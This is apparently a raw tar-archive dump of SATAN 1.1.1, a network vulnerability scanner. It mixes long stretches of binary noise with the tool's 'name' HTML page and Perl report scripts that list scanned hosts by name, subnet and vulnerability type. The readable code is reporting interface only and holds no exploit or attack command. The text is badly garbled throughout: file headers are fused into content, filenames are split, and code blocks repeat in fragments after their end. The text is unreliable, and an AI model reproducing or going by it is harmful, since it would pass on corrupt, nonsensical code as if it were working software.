  7845. A...cd>4\┘╓Ñ╠╙,╒¿~±\▀∙▐╜├tεπ¢╧∙σπ∙δ¥∙%╙º½»▓A.q7.≈v.≈░.┌á,≤Dú≥ú∩╚u╬.9┐MB!.π╪i¿∞⌠CV.╟/╘*_°▄Üß'l°ó¥fè┼K.ï⌡└`@╣£∙é2`└ƒ╙.╤»·GW∩Σ.⌡╫aσ╪ƒ=6¡⌠@Γ∞⌐É·I·╫1..╡8φ≡]¼▐æεσ~╡╫.╘τ╛╡M&Γ╥╖ε█n'▒.Ñ▀ç╙P╣g÷▐û≥─╦ï₧zcïM╧J≡░£─╧.δ/NΦ╥║≡┬\h─N.┼Uû./╜à3╠7₧I▓₧Θ6┼.!┬hF¢∩`▌.≡«Y£.KT.φ.┘L∞╨-
  7846. .'─ìC".æ╔PL.½.òQΘ÷ZU
  7847. KYΦs╕╡~ºF¼..6ƒ╤i⌡.╗.1HkîWnc╩hOz¥▀≈δ¥∙%╙º½»▓A.q7.≈v.≈░.┌á,≤Dú≥ú∩╚u╬.9┐MB!.π╪i¿∞⌠CV.╟/╘*_°▄Üß'l°ó¥fè┼K.ï⌡└`@╣£∙é2`└ƒ╙.╤»·GW∩Σ.⌡╫aσ╪ƒ=6¡⌠@Γ∞⌐É·I·╫1..╡8φ≡]¼▐æεσ~╡╫.╘τ╛╡M&Γ╥╖ε█n'▒.Ñ▀ç╙P╣g÷▐û≥─╦ï₧zcïM╧J≡░£─╧.δ/NΦ╥║≡┬\h─N.┼Uû./╜à3╠7₧I▓₧Θ6┼.!┬hF¢∩`▌.≡«Y£.KT.φ.┘L∞╨-
  7848. .Γσ▓V÷..⌡Ü╪≥`...!#y┌┌:î.%3.iP╚╩4ACES..S..G...+ETaceQ╡R...MgA.±\mvâà.mâ║─ç3e:='îòúÑ'/K▀éạ£(.│╡┴├ïp┐┘¼U╩┼»8╗~!¼╒π.σ╟╙▌t;═τ.α≥α╝δ⌡.£VΘ.>N5▄..├».<`
  7849. !F4╫╠╥A7Φ$ªë╙─┘3Ç.AJ┬âIâ├1╡B.⌠º%ƒ.ç)a╬.∙R┼╜.ª.╞.".%I┼:ü╩∞┼óaâ£A{l£┴╙σGñO½t+╥èf>ºP/⌠Γτ≤'V»ÇFµ*ydc;«_u÷╜ùí*Z╖Q╧.ΩIQ∞█.╒V.kkù∩╬í.τ┌╘┌≈ε.F{ì.V|.qMW7╬]].¿e?╜ô1│¥úTWV(
  7850. MJ╬╠.≥╪╠º]░*Σ╤.Y╤ú+»d..⌡bJ%ì▓n.─÷d_â:╗.KÜx±Γ╡A.▌¼.g█▐╛-▓â.┌x.u1╒-[─▄╧ÿl[syB╝¥09½/⌠Γτ≤'V»ÇFµ*ydc;«_u÷╜ùí*Z╖Q╧.ΩIQ∞█.╒V.kkù∩╬í.τ┌╘┌≈ε.F{ì.V|.qMW7╬]].¿e?╜ô1│¥úTWV(
  7851. ┤7^¡¥{┤ôSmbkL╛/Gσ4▒½Grτx{X╖5Kµ&vΣ≤╧â▀░iç.▐α{'5π...,╡µ╕τ=..îp..╕!«@±na"╝[.ñgA
  7852. 'ñ░┬A╘
  7853. ½).7∞ɬ.Gl┼F.;#é╡║$╠ì4.σPε..¢╙┼2 .9─¢..,±└╩^╓φG$┐P─.╬á─╨4*C\╨╛.KlR╛⌠╪ï.!"¢.í?.ô.rH.ú.î═ë.π┼.▓$,╙╡;╔─.╓╪..╬├9.[JNTî.q╬.I<╔╧1.δ¡╡5.ò1▒D\$të┐b.4╤.ΦïëQP┴..ô╬L┼⌠ïR.╖Æ═─Q5Ñ.╕
  7854. gE⌡╨.a.òO?'⌡...I<f05mì5æ,│bë╬╘P╠.8î&:╧═.»AsV4¡{aPc┼φ╤.e{}.W!.¥Æ¬O?e≥ZLΣ╢.┼£σV>d_ñ.çt▒*v]╨ñ3¿┴?▓.╓ZHC¡»£R
  7855. ╦íαy⌠╜ôT8ù:X..tT÷╒iæ╝░^±≡═.3go.pR+wKgßñ╠
  7856. ┼─x.Uq6{.;-ºíF÷N6║:ìe█./>9(î...Φ.}v/í╧v╬╬á─;▐╟K.ßm┌╢t]ì÷.⌐#Ü┘ΓUi╓iαÜ÷I9I¼∙.≡íâε≤╓l}è
  7857. ¡ß?.Y┬yKú┼ε╓╩í[Bhφd▌b.aûs≤ë⌐.¬╗╦╜í.┌.╝7E.≡"▀ε╥╞êƒ÷╟pH5T╝_ÿ█,Z.[±B.▀vq:àφ╟.ƒ┌d│┬╚≈%.Q╒k╔╥ëV.≡╘
  7858. ₧«V─q.yZ.ëΓΦYR▓╓.≈╖~▀<ß¿té╡╓τ)¬╟.≡ñ≈▄i."∩.]òy'╝x¡íù4╙Rsû(▐π]ù.r3¼┐~.╜╗ƒ.└ΩC:ƒ±µì|W╦m┌_πvtε. 2T¡|.▒_.ô#╡∞φºhh[p.╕Σ8⌡─.
  7859. tƒkΓº.═QG
  7860. .DΣ±─.┴αæ¼#sK.╚...╝u╚â─╙á±8(.╬Σ«v°.sç..h.íY-H.îB├¿├⌐¥`Hn..U1p°╜dA╧i┌.".⌠╢─ΦÉ╧êGt¢.!14æ╡p=t╗╥
  7861. ï╞£.Ü.(▒Kß.Wµ0╓..ï
  7862. SNd╬4╕!èêÇ▐│"<Æ╚░±°δî¥kc.╚σ#.Rk?f⌐#¡.ç─>.nHp[$.B├¿├⌐¥`Hn..U1p°╜dA╧i┌.".⌠╢─ΦÉ╧êGt¢.!14æ╡p=t╗╥
  7863. ╕⌐Dy═mÉ|┌Y╚X╞±=2l:─.'..I.╜iìN┬ñ..├º╞Ñ.2á▄┼.\Θ╟ë%oY±ß
  7864. .1G─┼α≥òè.Ñ.τ.└_.G$T╙╧░«σ%*▐Ω)3▒S.ë.B^ólÿ╝a.ADù½iJïÉ╒≥è≤b∙9∞┼)£a╪&)ªúò>9╙Æi╗.J5┘ê╟r.πÿ<.E.-Y»~.╙K'╗╬}êó=
  7865. ß3.α#Γ9U5╠..qtùCσ_$âP¥∙╥v°yÿ0µ)+...kΦk£wN╓╔f╬┼á.]óDe╔╛σ╛ªñ&ΣV@.gF÷j.O..⌐I∙τìn▐╦ƒîr%<π)╧╓¬╘÷╗*\.╙K'╗╬}êó=
  7866. h⌐ ÷1péó.jw┬..46╥₧F3g*₧ùLª.─⌐Oà*.3Zç╓▒╨½┌ÆΦ5├║Sj.«½væΘP»¬+°┼π£░L½Z.┼1q!┼ñw=├QZ.╫£· ⌐U⌡.S╖╓V╖^╤ëîσ▄T╙Γª└"╡º╬áMY▌'H╠ó≤Rè
  7867. H9φ*─├─╢(f],.ºZÜóªlûÜ.╥i)┐.┘¡≥k»|uù_⌐@.αUtm.d"^ùÜ╨╔)¼lÑM-T_q╚╙)p<9z¥τΩj(zI≡┤¡─-c*û7┴èòiΩë!⌐~X┘-.╖║╗█«lσ
  7868. █∩Ñ.½JUSx≤YDÿ┌.v╫Uò)φ¢┼.5≈ô┴Σ∩.-Σ╩╙R╞ú.jd~#±;"^ùÜ╨╔)¼lÑM-T_q╚╙)p<9z¥τΩj(zI≡┤¡─-c*û7┴èòiΩë!⌐~X┘-.╖║╗█«lσ
  7869. >û¬ê╒*mM;`═Γ4XΩ=ß^.)╚═.7╓\MKqàz▐.╛jw¼∩kk╣a╞@2pΣò≡ÿT.H.≤┬EÜS╨wáδ╧T╢É╡▄=±=╟I┴ævc.5n.J╖9*.è8.`d2╤`╫Γ»|iú.~╓.;,M⌠╛.QΓ<p┼.{°.uε.║êEªY┴▄Aè╥XWτ.qî÷vV±Ü╩╡σ)╫îG£$█b╩░o.cOºΦF<O╘║i╢≥A∙¬╤┌─vê..▀Mæ▓µbV8U▀▄π╝.∞`┬╥╤[P÷MíΘ⌐├'p>╥▄─£≤i┼E█∙Yâ÷┤÷w;d.Ñ.╒ç.YΣ?
  7870. ┼IwV╛Ü,▓t∩Zδ.╙┘╧2âbÜ.£>E.W╙Ií`D
  7871. .╧]ìZƒαu╡~7*╠f.╢M<{g┤Ñ}clW8╓6\m-Σ╜Θ╬.fò¿i╤qSz⌐▌°«ér.t;.U├┌╝.┌─L.╡{X.xït╦W╗QG┴╜è .├ó}Nα¼.^┼ÿm╡╥├±.W...▐Mÿ[╠ç▐÷─.¥ªqî+d.÷LM.«┬.+.ï╤┼≈2½▌.îo.î└σ¡╟ó╒r.w{-.G─.M.╢0%£.E>.H∙╟h.╗,µ..f╞%gSúB.Γâ.¼║C⌐Ωs├ê╚4/
  7872. Σ═╫\^┼ÑJ╙<+I╛H⌠]╗.╣¥⌡8]KmjJτ╓∞ß=╙╓╣«k6║.φß(lVτNw¼╧Vδ.╧╪ÿ╦¬╡÷C÷M┌.¬α╓-\σb·nOO|vUy≤O└°lI┼|çihM╡7∙Θß╢eëß╛8ß-╛≡É/.vE>ßûq╛ë..:▌.╛α▓╖v▌%ù=í║εUù═U┼╬┴á»TB.$┐ïíú┼▒;ƒ
  7873. .╪yú▒╜}ù≥╒.₧╨|G\1Q╜╜5±δ|ï.╛╦W.╗≥╧næ╩+K▄╧t¢í╬.o╡zt└|.èi.ü0⌠zg╓~cì∩p*'∙ε╧┴~ï.≥ª⌐.gqXO."'─╝Θ.εóu8M.zë÷..é¼N..░╛ΣΓ»₧c¿₧╞..j▓óOL╠ï.╡H¬\ê¿\∞┐zì[°
  7874. ¿╠Fì╛O╨^Σ.ï
  7875. .▀.÷≥
  7876. .!Ω.)┼.z╔ô╕çw¼ºµx
  7877. ≈B..┼.┼.εu.pû╝½.┤Eσbτ.a.µîeiΣ╨µ6╨.uoyε..ò∞▓ÿ╟≈£É¡╛P▄.Ñ
  7878. _¡╩á.╫^.i¿+≡êk0H≡?.┬.Ω..≤α.╬ûêφ>l.üe╛Æa╙⌠...ì...⌡è)ε.p.░É`.╦µ«░⌠Σà_.≡.Kc
  7879. ┼NE½~ΦaÉ░.τlF6æz:.Éÿ.≡BMº&q≡╓φ±Z╨í╨,ò ìδ.░..ì...⌡è)ε.p.░É`.╦µ«░⌠Σà_.≡.Kc
  7880. ,k.I¡
  7881. 1╨α*q─·Θ╛N/V.¬.]æ9σPß─i╠d╚£Ωp.Wcx¼.W.µD.±╣╩═⌠6..C─├¿╔├▓╠.╗╨╣£Q═╓q.U╦DÉ╩⌡Σ»⌡^∩▌÷▒I
  7882. .≈╓┼
  7883. ┐¬Ω|ê▓H±·╩Q0÷▒.â
  7884. .╤M|ê▓H±·╩Q0÷▒.â
  7885. |.±v┼.ßé≡┤¼e°/E╕..╓.╟é«ü╢Kmx.nÜΘ
  7886. 1..φ.qh.=╧!.s½≈TM╓.╟é«ü╢Kmx.nÜΘ
  7887. .)$)r║NEτ£#.≤±≤░,%█iw╪─▒DR║.g╨,2.'ê.q▓.├æ.┴èK6).M▒╙b.í∞É&çæ(ï.%╧╤▓÷≡.º2¿ ìkx¬&)σ╗╢ß$╧.J▓r∩╘æ%M.!5ï.âR`─æª╞≥!!.∞.─╔╘r-¥.Qj▓g.â.≈íJ╚R.3.&▌ìè·≥.Σ(j▐ÆX≥τ≈┌─y⌠╤╠╠≥,├L/cqÆ╩Σ]÷+bÿ▒.╔14╒¡ê╕░.`ε3.qÑ╓)=°σ/┴∞┌..*╜∩.?σΘ▄æ
  7888. /ΘΣV│1æà7σr0±O≥┌//#æ.ç2.WΦ'╔─╧ÿr≤ΣQ4╫j.s.╠╬~É/ü¼└^¬-╔.5..8k±╛^▒9.N█.±∙░ô└bK3ó▓8╜≤π
  7889. ÉH╕│▒≡≡6»ô.;.n╞HPês╡bs.sÆGΓS.?Q9à┬\&»≡.ε╞÷╨7A╥*.¼j─..àRAKp[J.É.│.EÉ..I
  7890. .╘¬.o=═╙>
  7891. s.╤..sîCSS.#┤n╞HPês╡bs.sÆGΓS.?Q9à┬\&»≡.ε╞÷╨7A╥*.¼j─..àRAKp[J.É.│.EÉ..I
  7892. Σσ─÷.╩ª$/≥,.çßC+ε&ïεK.)F╒L@401æôD/.╬|÷Yés..O»b╥╥.÷@┼a3│qBO╘r╪2:['÷ΣσA?+╗─φH]δ.▒%1L.LGhªαj∙╬î>aó.≥ΣK1j7Y┴.E╘ï≡. ╫aM¢.┤Mπh-═tGσt9ï∩@▒TGç═#-╤Ç>..δ┤K..;.╒.ô╘╓
  7893. ╙O-╙.▓≤)½KJ+Ω».⌠PKTSïO │i
  7894. πt╘┌º*.-S.│EWM⌠p╘T┐╙ü¼Rc┬T╚8╙∩¿'H]UVUl.═.R╤.KûúW⌡mBß╘W
  7895. L,▒+`σ.Qu≤RA1Yò52/SK█E|┬PJ.TΦhçB½U(¼U.n.╜è÷1.T┤\SZM⌡ù.σ┌û¼.δ¡[ú«G.5\╫NÑ─TRM╦6ìt⌠l╒5±⌡.i
  7896. .ü).KKÆΦ╡..v`Yò52/SK█E|┬PJ.TΦhçB½U(¼U.n.╜è÷1.T┤\SZM⌡ù.σ┌û¼.δ¡[ú«G.5\╫NÑ─TRM╦6ìt⌠l╒5±⌡.i
  7897. π.┼s₧ñΓL┴T^.╓a»ô."6^╒.¥|T┴b.c.M°.≥Rb═#L╜n$ìUdδ╒Ekod≈QaIVeWûes4│^v..u^ß╔b/╓f≤..╟U\.ôb.Éfk.hC5.s╢╬p╡.QòƒÆViº÷.ç╓h½û[A.i⌐6╘╞╥ÿH╓tó.?▒÷¬D-d╗╢ï∞ε^[÷hMªÆ╬╒cS╒╗Σ4mU÷\)e$/.#úlg╫π╧╨cj╗VMC¼Q╒Æm.╞G@æ9ôîn╤╓n█ì┼.r¥.╥Yò╩B╒pEτ▒U┘╒Wφφ_.≈`.UA╫/ke.a▒¬n!≈9w..3ôrI╫.à+.∙ô^╙╓∞.ù
  7898. ß▓ΘhÇ┼▐zk.swuπpXU╫Juk╖╛+»d÷[;W.Y3╚+╬NzTP╓.ü░│xà╖.eûZ⌐3|₧≥Qà⌡_┼7{.∞`8u';vl╪c;╤*x╔wyï5t¢σ.}¼╗▄≈}ß╤°┬╫8üΣ¥▄ûφ._w5╣═4+U1.3W.ÿ⌠·ñ>°..π.P┘╫v.x])╪Sm╩-╜&X.n.╣╖éA8fEGyM╫c..¢╘╖yCx▒,æï.Wé╗
  7899. {W8Σ#à>&÷+±ÆgUxσ7UIl╪gσ╢Vê¡vwÿçΘïHq.ÇπW▐╢╫ê¥8~i&.ùpi.8hΣ÷éƒ8z/─P«⌠+!╤/_┤ï9.ï│x▀jLe.≈o╧÷î╙ôê.╖L≈Θs97╜╢.╖êßXá≡!`.╬ºXñhí.┼≤8╤╛≈O╚vm?úìSXÉ.╓Éwùσ╥.e╟èb╔╕æ∩.Æ╫╚.a°σê≈ì-╣{e.∞▒.ƒ¿:úUσ?yσIê─.ëcel/╤╒ôS9J╠x.τ.ìíû∞hFæ╡│Ægy÷FÿX⌡÷g.,∩≈ùàùCΣºG.X?∩ε┼█╠R┼.╓╔╖òkxƒF╔█╢µ÷
  7900. º╓Ü.ÿσ▓╒CêUüàR¥.╓æ╜╣≥XΦ0.)s[.G¿.z╙y₧%iYxΓ╓ñÿMçïJ[ÿ₧..éI'τ¬.ô@êg&W.+!╤/_┤ï9.ï│x▀jLe.≈o╧÷î╙ôê.╖L≈Θs97╜╢.╖êßXá≡!`.╬ºXñhí.┼≤8╤╛≈O╚vm?úìSXÉ.╓Éwùσ╥.e╟èb╔╕æ∩.Æ╫╚.a°σê≈ì-╣{e.∞▒.ƒ¿:úUσ?yσIê─.ëcel/╤╒ôS9J╠x.τ.ìíû∞hFæ╡│Ægy÷FÿX⌡÷g.,∩≈ùàùCΣºG.X?∩ε┼█╠R┼.╓╔╖òkxƒF╔█╢µ÷
  7901. ╣~ªW7α.╢6ë▌Ω°(.zóO9τ«π▒└┘fV.}║╓ó│.b.J.⌠,/σ.W3e┘ú.±7..RKf%E°gOεïQzª.y╓u.xε╬÷a:ªeܪ=zzf4á.8nΓ27]╩ù}Z"-úI)ªE .Vç╖ΣôÜÜIFiñcè╞h.Tw)º║½¡Γ¬[┼
  7902. à.A¼≤të╧½ºÜGòYlÿ÷Wì.╝╨┌½WÜï-4≤T.|.%╩ΓZ«├.ád..+.|ße»∙Zú¢·╓⌡╟(U┌·..ƒ╓é¼┌.û[sF.ÜT.¢ª╫:[k..«ΣM.ÿ▒/█ƒºw─E.P${rÇZªO:┤∩q}┴z£+fQ╤≤o2÷╡ôÜr╟.!Ñwd╨.%~╠╢π·.º'!╗Ny.ÜD;¡.úü█n┼yÑφ╓▓┼╓▓_╘[>x╣⌐║f╝O¿ò..┼.F╤┘║/∙░.)t┬╓òí.╝m{┤
  7903. ;ú.█╣üa_╤╗▒Yô¼╬E│æσ5π{╣±zF_╗ùQ9┐E;[pz╝¡─┐..└.╔╓≡█═..┴.▄éâ╓╕█▒║.|»≈╗»G╕┬5<A.Ü╜│.┐7▄=┬.B╕▒.A<─â[╝-σ{┐.┼¥╫╡3{╡].}⌡.·Éz╞½╣╣╒O╣q£₧Yzw{<╚a./(\╚.<╞y▄╚..╔ò╝╔13╔¥|óS;╩⌐\9o╝╩i.╩▒\╩e|╦¥╕╦╜▄ê»<╠╔╝╠═.╠╤<═╒|═┘╝═▌.═ß|₧....;íâε≤╓l}èsatan-1.1.1/html/name.html...............
  7904. ...........................................................   600 .   465 .   506 .        711  5737207304  10431. ..............................................................................................................................................
  7905. ......................................................................................................................................................................................................................<HTML>
  7906. <HEAD>
  7907. <title>SATAN Name</title>
  7908. <LINK REV="made" HREF="mailto:satan@fish.com">
  7909. </HEAD>
  7910. <BODY>
  7911.  
  7912. <H1><IMG SRC=images/satan.gif> SATAN</H1>
  7913. <H2>(Security Administrator Tool for Analyzing Networks)</H2>
  7914. <HR>
  7915. The name suits the program, in our opinion.  If you don't like it,
  7916. feel free to call it "SANTA", which is, perhaps, a more user-friendly
  7917. anagram of the acronym - you can run the <I>repent</I> program if you are
  7918. really offended.
  7919.  
  7920. </BODY>
  7921. </HTML>
  7922. 3ôrI╫.à+.∙ô^╙╓∞.ùß▓ΘhÇ┼▐zk.swuπpXU╫Juk╖╛+»d÷[;W.Y3╚+╬Nsatan-1.1.1/html/reporting/.........................................................................   700 .   465 .   506 .          0  5742521544  10567. ..............................................
  7923. .................................................................................................................................................................................................................................................................
  7924. .....................................................satan-1.1.1/html/reporting/satan_info_name.pl.......................................................   600 .   465 .   506 .       1222  5737240703  14330. ................................................
  7925. .................................................................................................................................................................................................................................................................
  7926. ...................................................#
  7927. # Report host by name
  7928. #
  7929. print CLIENT <<EOF;
  7930. <HTML>
  7931. <HEAD>
  7932. <title> Hosts - By Name </title>
  7933. <LINK REV="made" HREF="mailto:satan\@fish.com">
  7934. </HEAD>
  7935. <BODY>
  7936. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Hosts - By Name </H1>
  7937. <hr>
  7938.  
  7939. <FORM METHOD=POST ACTION="satan_info_host_action.pl">
  7940.  
  7941. <strong>Enter a host name (<I>host.domain</I> preferred):</strong>
  7942. <h3>
  7943. <INPUT TYPE="reset" VALUE=" Reset ">
  7944. <INPUT SIZE="30" NAME="_query_host" Value="$_query_host">
  7945. <INPUT TYPE="submit" VALUE=" Display host ">
  7946. </h3>
  7947.  
  7948. </FORM>
  7949.  
  7950. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  7951. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  7952. </BODY>
  7953. </HTML>
  7954. EOF
  7955. D>
  7956. <BODY>
  7957. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Hosts - By Name </H1>
  7958. <hr>
  7959.  
  7960. <FORM METHOD=POST ACTION="satan_info_host_action.pl">
  7961.  
  7962. <strong>Enter a host name (<I>host.domain</I> preferred):</strong>
  7963. <h3>
  7964. <INPUT TYPE="reset" VALUE=" Reset ">
  7965. <INPUT SIZE="30" NAME="_query_host" Value="$_query_host">
  7966. <INPUT TYPE="submit" VALUE=" Display host ">
  7967. </h3>
  7968.  
  7969. </FORM>
  7970.  
  7971. <hrsatan-1.1.1/html/reporting/analysis.pl..............................................................   600 .   465 .   506 .       2230  5737240613  13032. ..................................................................................................
  7972. .................................................................................................................................................................................................................................................................
  7973. .print CLIENT <<EOF;
  7974. <HTML>
  7975. <HEAD>
  7976. <title>SATAN Reporting and Analysis</title>
  7977. <LINK REV="made" HREF="mailto:satan\@fish.com">
  7978. </HEAD>
  7979. <BODY>
  7980.  
  7981. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN Reporting and Analysis</H1>
  7982. <HR>
  7983. <h2> Table of contents</h2>
  7984. <HL>
  7985. <p>
  7986. <strong> Vulnerabilities </strong>
  7987.         <ul>
  7988.         <li> <a href=satan_results_danger.pl> By Approximate Danger Level </a>
  7989.         <li> <a href=satan_severity_types.pl> By Type of Vulnerability </a>
  7990.         <li> <a href=satan_severity_counts.pl> By Vulnerability Count </a>
  7991.         </ul>
  7992.  
  7993. <strong> Host Information </strong>
  7994.         <ul>
  7995.         <li> <a href=satan_info_class.pl> By Class of Service</a>
  7996.         <li> <a href=satan_info_OS.pl> By System Type</a>
  7997. .<li> <a href=satan_info_domain.pl> By Internet Domain</a>
  7998.         <li> <a href=satan_info_subnet.pl> By Subnet</a>
  7999. .<li> <a href=satan_info_name.pl> By Host Name</a>
  8000.         </ul>
  8001. <p>
  8002.  
  8003. <strong> Trust</strong>
  8004.         <ul>
  8005.         <li> <a href=satan_info_trusted.pl> Trusted Hosts</a>
  8006.         <li> <a href=satan_info_trusting.pl> Trusting Hosts</a>
  8007. .</ul>
  8008. <p>
  8009.  
  8010. <HL>
  8011. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  8012. </BODY>
  8013. </HTML>
  8014. EOF
  8015. ·..ƒ╓é¼┌.û[sF.ÜT.¢ª╫:[k..«ΣM.ÿ▒/█ƒºw─E.P${rÇZªO:┤∩q}┴z£+fQ╤≤o2÷╡ôÜr╟.!Ñwd╨.%~╠╢π·.º'!╗Ny.ÜD;¡.úü█n┼yÑφ╓▓┼╓▓_╘[>x╣⌐║f╝O¿ò..┼.F╤┘║/∙░.)t┬╓òí.╝m{┤
  8016. ;ú.█╣üa_╤╗▒Yô¼╬E│æσ5π{╣±zF_╗ùQ9┐E;[pz╝¡─┐..└.╔╓≡█═..┴.▄éâ╓╕█▒║.|»≈╗»G╕┬5<A.Ü╜│.┐7▄=┬.B╕▒.A<─â[╝-σ{┐.┼¥╫╡3{╡].}⌡.·Éz╞½╣╣╒O╣q£₧Yzw{<╚a./(\╚.<╞y▄╚..╔ò╝╔13╔¥|óS;╩⌐\9o╝╩i.╩▒\╩e|╦¥╕╦╜▄ê»<╠╔╝╠═.╠╤<═╒|═┘╝═▌.═ß|₧....;íâε≤╓l}èsatan-1.1.1/html/reporting/satan_info_sub
  8017. net.pl.....................................................   600 .   465 .   506 .       2312  5737240716  14715. ..............................................................................................................................................
  8018. ......................................................................................................................................................................................................................#
  8019. # Report subnets
  8020. #
  8021.  
  8022. # generate the tables for looking subnets/hosts in:
  8023. &make_subnet_info();
  8024. $_subnets = keys %all_subnets;
  8025.  
  8026. sub sort_ip {
  8027.     local($aip,$bip);
  8028.     for $ip (split(/\./,$a)) { $aip = $aip * 256 + $ip; }
  8029.     for $ip (split(/\./,$b)) { $bip = $bip * 256 + $ip; }
  8030.     return $aip <=> $bip;
  8031. }
  8032.  
  8033. print CLIENT <<EOF;
  8034. <HTML>
  8035. <HEAD>
  8036. <title> Host Tables - By Subnet  </title>
  8037. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8038. </HEAD>
  8039. <BODY>
  8040. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Tables - By Subnet </H1>
  8041. <hr>
  8042. <h3>$_subnets Subnets. Number of hosts per subnet (vulnerable/total). </h3>
  8043. <strong>Subnets with a red dot next to them have a vulnerable host contained within.</strong>
  8044. <ul>
  8045. EOF
  8046.  
  8047. # until the subnet is all looked at...
  8048. for $_net (sort sort_ip keys %all_subnets) {
  8049.     $dot = $subnet_severities{$_net} ? "red" : "black";
  8050.     print CLIENT <<EOF;
  8051. .    <dt><IMG SRC=$HTML_ROOT/dots/$dot\dot.gif ALT="$dot">
  8052. .    <a href="satan_results_subnet.pl,$_net,"> $_net </a> 
  8053. .    ($subnet_severities{$_net}/$subnet_count{$_net})
  8054. EOF
  8055.     }
  8056.  
  8057. print CLIENT <<EOF;
  8058. </ul>
  8059. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8060. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8061. </BODY>
  8062. </HTML>
  8063. EOF
  8064. aip * 256 + $ip; }
  8065.     for $ip (split(/\./,$b)) { $bip = $bip * 256 + $ip; }
  8066.     return $aip <=> $bip;
  8067. }
  8068.  
  8069. print CLIENT <<EOF;
  8070. <HTML>
  8071. <HEAD>
  8072. <title> Host Tables - By Subnet  </title>
  8073. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8074. </HEAD>
  8075. <BODY>
  8076. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Tables - By Subnetsatan-1.1.1/html/reporting/satan_severity_hosts.pl..................................................   600 .   465 .   506 .       2363  5737241267  15504. ....................................
  8077. .................................................................................................................................................................................................................................................................
  8078. ...............................................................#
  8079. # Show all hosts with a specific vulnerability.
  8080. #
  8081. ($_SEVERITY, $_sort_order) = split(/,/, $html_script_args);
  8082. ($_severity = $_SEVERITY) =~ tr /?!/ \//;
  8083. ($_tutorial = $_severity) =~ tr / /_/;
  8084.  
  8085. print CLIENT <<EOF;
  8086. <HTML>
  8087. <HEAD>
  8088. <title> Host Table - $_severity </title>
  8089. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8090. </HEAD>
  8091. <BODY>
  8092. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Host Table - $_severity </H1>
  8093. <hr>
  8094.  
  8095. <h2> 
  8096. Tutorial: 
  8097. <a href="$HTML_ROOT/tutorials/vulnerability/$_tutorial.html>$_severity</a>.
  8098. </h2>
  8099.  
  8100. <h3> 
  8101. $severity_type_count{$_severity} Host(s). 
  8102. Number of vulnerabilities in parentheses. 
  8103. </h3>
  8104.  
  8105. <H4> Sort hosts by:
  8106. <a href="satan_severity_hosts.pl,$_SEVERITY,name,">name</a> |
  8107. <a href="satan_severity_hosts.pl,$_SEVERITY,domain,">domain</a> |
  8108. <a href="satan_severity_hosts.pl,$_SEVERITY,type,">system type</a> |
  8109. <a href="satan_severity_hosts.pl,$_SEVERITY,subnet,">subnet</a> |
  8110. <a href="satan_severity_hosts.pl,$_SEVERITY,severity,">problem count</a> 
  8111. </H4>
  8112. EOF
  8113.  
  8114. @_hosts = keys %{$severity_type_host_info{$_severity}};
  8115. do "$html_root/reporting/sort_hosts.pl";
  8116. print CLIENT $@ if $@;
  8117.  
  8118. print CLIENT <<EOF;
  8119. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8120. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8121. </BODY>
  8122. </HTML>
  8123. EOF
  8124. ;¡.úü█n┼yÑφ╓▓┼╓▓_╘[>x╣⌐║f╝O¿ò..┼.F╤┘║/∙░.)t┬╓òí.╝m{┤
  8125. ;ú.█╣üa_╤╗▒Yô¼╬E│æσ5π{╣±zF_╗ùQ9┐E;[pz╝¡─┐..└.╔╓≡█═..┴.▄éâ╓╕█▒║.|»≈╗»G╕┬5<A.Ü╜│.┐7▄=┬.B╕▒.A<─â[╝-σ{┐.┼¥╫╡3{╡].}⌡.·Éz╞½╣╣╒O╣q£₧Yzw{<╚a./(\╚.<╞y▄╚..╔ò╝╔13╔¥|óS;╩⌐\9o╝╩i.╩▒\╩e|╦¥╕╦╜▄ê»<╠╔╝╠═.╠╤<═╒|═┘╝═▌.═ß|₧....;íâε≤╓l}èsatan-1.1.1/html/reporting/satan_severity
  8126. _types.pl..................................................   600 .   465 .   506 .       2025  5737241320  15471. ..............................................................................................................................................
  8127. ......................................................................................................................................................................................................................#
  8128. # Report vulnerability classes
  8129. #
  8130. sub sort_numeric {
  8131. .$severity_type_count{$b} <=> $severity_type_count{$a};
  8132. }
  8133.  
  8134. print CLIENT <<EOF;
  8135. <HTML>
  8136. <HEAD>
  8137. <title> Vulnerabilities - By Type</title>
  8138. <LINK REV="made" HREF="mailto:satan\@fish.com">
  8139. </HEAD>
  8140. <BODY>
  8141. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Vulnerabilities - By Type</H1>
  8142. <hr>
  8143. <h3>Number of hosts per vulnerability type.</h3>
  8144. EOF
  8145.  
  8146. &make_severity_info();
  8147.  
  8148. if (sizeof(*severity_type_host_info) > 0) {
  8149.     print CLIENT <<EOF;
  8150. <ul>
  8151. EOF
  8152.     for (sort sort_numeric keys %severity_type_host_info) {
  8153. .($_type = $_) =~ tr / \//?!/;
  8154.  
  8155. .print CLIENT <<EOF;
  8156. .<li> 
  8157. .<a href="satan_severity_hosts.pl,$_type,">
  8158. .$_ - $severity_type_count{$_} host(s)</a>
  8159. EOF
  8160.     }
  8161.     print CLIENT <<EOF;
  8162. </ul>
  8163. .<strong>Note: hosts may appear in multiple categories. </strong>
  8164. EOF
  8165. } else {
  8166.     print CLIENT <<EOF
  8167. No vulnerability information found.
  8168. EOF
  8169. }
  8170.  
  8171. print CLIENT <<EOF
  8172. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a> |
  8173. <a href=analysis.pl> Back to SATAN Reporting and Analysis </a>
  8174. </BODY>
  8175. </HTML>
  8176. EOF
  8177. ity classes
  8178. #
  8179. sub sort_numeric {
  8180. .$severity_type_count{$b} <=> $severity_type_count{$a};
  8181. }
  8182.  
  8183. print CLIENT <<EOF;
  8184. <HTML>
  8185. <HEAD>
